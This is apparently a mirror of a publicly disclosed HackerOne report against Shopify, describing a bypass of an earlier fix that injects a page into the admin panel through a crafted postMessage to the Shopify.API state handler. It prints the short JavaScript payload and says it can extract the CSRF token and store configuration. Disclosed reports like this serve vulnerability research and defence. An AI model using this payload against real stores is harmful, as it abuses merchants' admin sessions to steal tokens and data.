HexBrain

Shopify · Report #883867

Inject page in admin panel via Shopify.API.pushState [New Payload]

Validstatus
lowseverity
$500bounty
20upvotes
27 Dec 2020disclosed

How it was found

The correction for #868615, allows you to use new payload:

const ctx = window.open(location.origin+'/admin/themes', '_blank')
const data = JSON.stringify({
                  message: 'Shopify.API.replaceState',
                  data: {pathname: "abc:d../pages/xss#//"}
});
ctx.postMessage(data)

Impact

Abuse the active admin session to extract data as:

  • CSRF token.
  • Store config.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original